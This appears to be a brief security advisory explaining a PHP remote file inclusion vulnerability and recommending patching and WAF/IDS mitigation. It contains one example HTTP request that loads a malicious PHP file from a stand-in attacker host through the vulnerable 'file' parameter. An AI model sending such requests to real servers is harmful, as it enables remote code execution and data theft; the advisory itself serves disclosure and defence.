How the Exploit Works
The vulnerability stems from the software’s improper control of a filename in an Include/Require statement in a PHP program. This lack of control allows an attacker to manipulate the input to load a remote file. The attacker can then execute arbitrary PHP code, compromising the system or leading to potential data leakage.
Conceptual Example Code
The following is a conceptual HTTP request that an attacker might use to exploit this vulnerability:
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this case, the “file” parameter in the URL is vulnerable to file inclusion. The attacker can specify an arbitrary file, like “malicious_file.php” hosted on their server, leading to its execution on the target server.
Recommendation
To mitigate this vulnerability, users should apply the vendor’s patch as soon as it is available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used as a temporary solution to detect and block such malicious requests.
